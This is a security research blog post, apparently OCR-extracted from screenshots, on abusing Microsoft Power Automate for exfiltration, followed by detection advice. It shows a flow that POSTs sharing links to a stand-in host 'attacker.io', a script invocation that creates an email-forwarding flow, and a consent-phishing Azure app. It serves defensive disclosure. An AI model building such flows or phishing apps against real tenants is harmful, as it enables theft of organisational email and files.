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What is Power Automate?

Power Automate, formerly known as Microsoft Flow, allows users to automate workflows between various apps
and services. Using Power Automate, you can create "flows" in Microsoft 365 for Outlook, SharePoint, and

OneDrive to automatically share or send files, forward emails, and much more.

Although this feature is powerful for day-to-day automation, it can also be used by threat actors to automate data

exfiltration, C2 communication, lateral movement, and evade DLP solutions.

How does it work?

Power Automate is enabled by default with Microsoft 365 applications. It allows any user to create their own

flows. Flows can be created programmatically or by using the flow planner UI.

To create a flow, a user must first create a connection. This connection allows the flow to access the application or

resource using the user’s permissions.

As soon as the connection is established and the flow is saved, the flow will run. Any activity performed by the

flow will be logged under the user who created the connection.

x”_The actions are logged under the user Ringo since the connection was created with their account, but in reality,

they are automated.
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This can be seen in the following log example from compliance.microsoft.com/auditlogsearch

Detail UserAgent

azure-logic-apps/1.0 (workflow df818bbd44b944d0a8714ca07a9f355¢

Date version 08585598025942112757) microsoft-flow/1.0

2022-01-10 10:46:35

Webld

P Address dfa170e3-e57b-4dae-9a59-65f3efc09dd6

23.97.210.126

EventData
Users )
<Permissions granted>Contribute</Permissions granted>
ringo NG <MembersCanShareApplied > True</MembersCanShareApplied>
Activity SourceFileExtension
Shared file, folder, or site docx
Item TargetUserOrGroupType
I -2 point.com/Shared Documents/Share_Me.docx SharePointGroup
Detail SiteUrl

Shared with "SharingLinks.6387a7¢5-d6a3-4d74-a784- _sharepomtcom

1cb738bde728.0OrganizationEdit.f8ccd303-42be-4¢79-bf17-9fd02d0dfecd"”

SharePointGroup®)
( P SourceFileName

Id Share_Me.docx

This example is a log of an automated flow action where the user Ringo’s flow creates a share link for the file
“Share_me.docx”. The actions are logged under the user Ringo since the connection was created with their

account, but in reality, they are automated.

How can attackers exploit Power Automate?

Similar to how forwarding rules in email clients can be used for exfiltration, Power Automate flows can be used to
extract not only emails but files from SharePoint and OneDrive. You can also exfiltrate data from other Microsoft

365 applications (even MSGraph).
Let’s look at some examples.

Email exfiltration
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This is net a forward rule in Outlook/Exchange and therefore forward rule creation detections and preventions

will not block or detect this.
File exfiltration via shared links

The following flow creates an anonymous sharing link for every file created on the SharePoint site that the user

has access to and POSTs the link via an API call to the attacker’s server.
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When a file is created or modified (properties only) @ .o

)

Create sharing link for a file or folder ®

d

M HTTP o)

* Method POST A
*URI https:/attacker.io

Headers Enter key Enter value -ﬁ
Queries Enter key Enter value 'H
Body . Sharing Link x

Cookie Enter HTTP cookie

Show advanced options

When creating a flow that uses file creation as a trigger (i.e. when a file is created do X), the flow will monitor
every file created on the SharePoint site, even if the flow owner did not create the file personally. If the flow

owner has permission to view the file, the flow will trigger.

In most environments, SharePoint permissions are complicated and difficult to maintain. As a result, many users

have excessive access to information they don't need—giving attackers a large blast radius.

A nice bonus is that if the flow is disabled for a few days, the file creations that were missed will be picked up by

the re-enabled flow and sent to the attacker.

Creating Flows with a Script

Creating flows can be done programmatically using the flow API. Although there’s no dedicated Power Automate

API, the flow endpoints can be used to query for existing connections and to create a flow.
Our script demonstrates an attacker’s approach for business email compromise.

Once a Microsoft 365 account is compromised, attackers can simply execute a command that will leak sensitive

data coming in, without the need to manually create the Power Automate flow.
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The following script creates a flow called “Email Forwarding” to automatically forward all received emails to the

attacker’s inbox.

1 14:33]- python .\PAExfil.py ringo att fil.com

ID

ying to create one
e shared-offi

Got app conn
Flow created

The flow will then appear in the UI and will be enabled:

X
i3 Power Automate O Search for helpful resources
= New flow & Import
{n
Flows
B
- Cloud flows Desktop flows Business process flows Shared with me
I Q
o
B o Name Modified Type
|
[0 8] Email Forwarding 8secago Automated
<

The flow name is customizable and can be changed to a more obscure value.

Malicious flows can be leveraged for other activities, such as getting organizational trees from Delve, gathering

SharePoint file statistics, and more.
Abusing Flows via Azure Apps

As we discussed in our previous research, attackers can trick users into installing malicious Azure applications

that appear to be official, Microsoft-approved code.

Once a user installs the malicious Azure app, a threat actor can exploit Power Automate without ever having

access to the account’s credentials.

First, we create an app in our attacker tenant and send a link to the victim. Clicking the link will automatically
navigate the victim to Azure’s application consent landing page. Once the user consents, our application will have

the necessary permissions to create a flow.

Here we can see our malicious application requesting consent from a user to create and edit flows:
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@ https://login.microsoftonline.com/common/reprocess?ctx=rQIlAdNiNtizsFKxNDUZNzYxMtY1TDIx1jUxTjLQtUi2ZMNM1STJOtTAOMzc 1 TEOpEuISKJ Ce5K96e0Pr3J4nCu-Pnd20il Eto6SkwEpfPyc_OTENI7-4xM:

B® Microsoft

ringo@ I <

Permissions requested
MicrosoftOffice

]
This application is not published by Microsoft.

This app would like to:

| A\ Allow the application to manage flows

ed

Allow the application to create a

This is a permission requested to acces data in Varonis.

Accepting these permissions means t u allow this app to use
your data as specified in their terms o ce and privacy
statement. The publisher has not provided links to their terms
for you to review. You can change these permissions at
https://myapps.microsoft.co

Does this app look suspiciot

The application authenticates the request using a valid Microsoft domain and URL, which increases the likelihood

of success.

This method comes with a caveat: I could not find a way to create a new Power Automate connection using the
Azure app. I could only use existing connections since the application’s token does not have permissions to create
a connection. This means that using Azure applications for this attack limits us to users who have already made

connections in Power Automate.

The more fool-proof method would be to use the user’s credentials or a Power Automate authentication token.
Using this method you can create connections and flows programmatically, without user interaction, and create

automatic exfiltration flows as your heart desires.

Detection and Prevention

The attacks we discussed describe a few vectors threat actors can use to access Power Automate in an

organization.

Varonis adds behavior-based alerting to Microsoft 365, which can detect abnormal data access and email activity

based on the user’s historical baseline. This applies whether the actions are performed manually by the user, via

scripts, or using Power Automate.

This is perhaps the most practical line of defense against Power Automate exfiltration because it doesn’t require
that you write specific detection rules or manually hunt for suspicious changes in IP addresses or user agent

strings.
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Behavior-based alerts are also extremely effective at detecting when a user is infected with malware that is

operating under the user’s context—it’s very hard for attackers to emulate a user’s normal day-to-day behavior.

Monitor Abnormal Authentication to the Power Automate Resource
Azure AD monitors every login in its sign-in logs. This can be a powerful tool to monitor resource access.

In this case, we can look at logins made to the Power Automate (a.k.a. “Microsoft Flow Service”) resource and

alert when abnormalities occur.

nngo@
38173be8-1339-435d-38bb-35188a9bda77
ign-in identifier Ringo@
User type Member

Cross tenant access typ¢ None

Application Azure Active Directory PowerShell

Application ID 1b730954-1685-4b74-9bfd-dac224a7b894
Resource Microsoft Flow Service

7df0a125-d3be-4c96-aa54-591f83ff541c

The above login event shows our script running as user Ringo and authenticating to the Microsoft Flow Service
using the Azure Active Directory PowerShell application which is unexpected. Regular authentication via the Ul

will use the Microsoft Flow Portal application.
Another abnormalities you could look for include:

e Logins from blacklisted locations
e Logins by dedicated admin accounts

e Abnormal data usage by a user

Monitor PowerAutomate Flow Creations
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We can directly look at flow logs to get an idea of newly created flows:

Detail

Date
2022-01-09 15:31:22

IP Address

Users

Ringoc [

Activity

Created flow

Item

https://admin.powerplatform.microsoft.com/environments/Default-

I flows/ 7e1e5b67-9a43-4b0a-b59d-
c088b322952¢e/flowDetails

Detail

Flow Details Url
"https://admin.powerplatform.microsoft.com/environments/Default- | N

I ¢ o</ 7 < 15b67-9a43-4b0a-b59d-

c088b322952¢/flowDetails”

Result Status
"Success”

CreationTime

2022-01-09T13:31:22

Note that flow logs lack data about what exactly changed in the flow or what flow was created with what

connection. However, we can still use this to get a more precise look at what happens after the user authenticates
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to the Power Automate resource. It might be that the user is allowed to login from every location but not to create

flows from them.

Monitor Automated Flow Activity

Automatic actions done by PowerAutomate are indicated by the User Agent “azure-logic-apps/*” in the logs as

seen here:
X
Detail UserAgent
Dat azure-logic-apps/1.0 (workflow df818bbd44b944d0a8714ca07a9f355¢
ate version 08585598025942112757) microsoft-flow/1.0

2022-01-10 10:46:35

Webld

¥ Address dfa170e3-e57b-4dae-9359-65f3efc09dd6

23.97.210.126

EventData

Users <Permissions granted>Contribute</Permissions granted>

ringo GG <MembersCanShareApplied > True</MembersCanShareApplied>
Activity SourceFileExtension

Shared file, folder, or site docx

Item TargetUserOrGroupType
I - - =point.com/Shared Documents/Share_Me.docx SharePointGroup

Detail SiteUrl

Shared with "SharingLinks.6387a7¢5-d6a3-4d74-a784- _sharepomi,cor‘]

1cb738bde728.0OrganizationEdit.f8ccd303-42be-4¢79-bf17-9fd02d0dfecd”

SharePointGroup”)
( ePointGroup SourceFileName

Id Share_Me.docx

Another thing to note is that the action is always done from an Microsoft IP, however, relying on that might cause

false positives since we’re dealing with a Microsoft platform.

Using this indicative user agent, we can either outright alert on suspicious actions or compare the automated

activity with the user’s regular activity and past automated activity to find abnormalities.
Azure Application Monitoring

Using Azure applications for this attack creates a different log trace than using credentials directly. We can see the

difference in the Azure AD sign-in logs:
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Username ringo@

User ID 38173be8-1339-435d-a8bb-35188a9bda77
Sign-in identifier

User type Member

Cross tenant access type None

Application MicrosoftOffice

Application ID 95373423-1b43-43b0-8c86-4b3e816751ed
Resource Microsoft Flow Service

Resource ID 7df0a125-d3be-4c96-3a54-591f83ff541c

The application used for authentication is the “MicrosoftOffice” app which is our malicious application (named

“MicrosoftOffice” for phishing reasons), and the resource is the Microsoft Flow Service (same as before).

Monitoring or limiting authentication to Flow service only for approved apps will limit the attack surface and, in

turn, will help prevent exploitation of PowerAutomate.

Monitoring consents given to applications can also help prevent this attack and other potentially destructive

attacks.

Block Emails Forwarded from PowerAutomate

Directly block exfiltration using email by setting up controls for connectors:

References:
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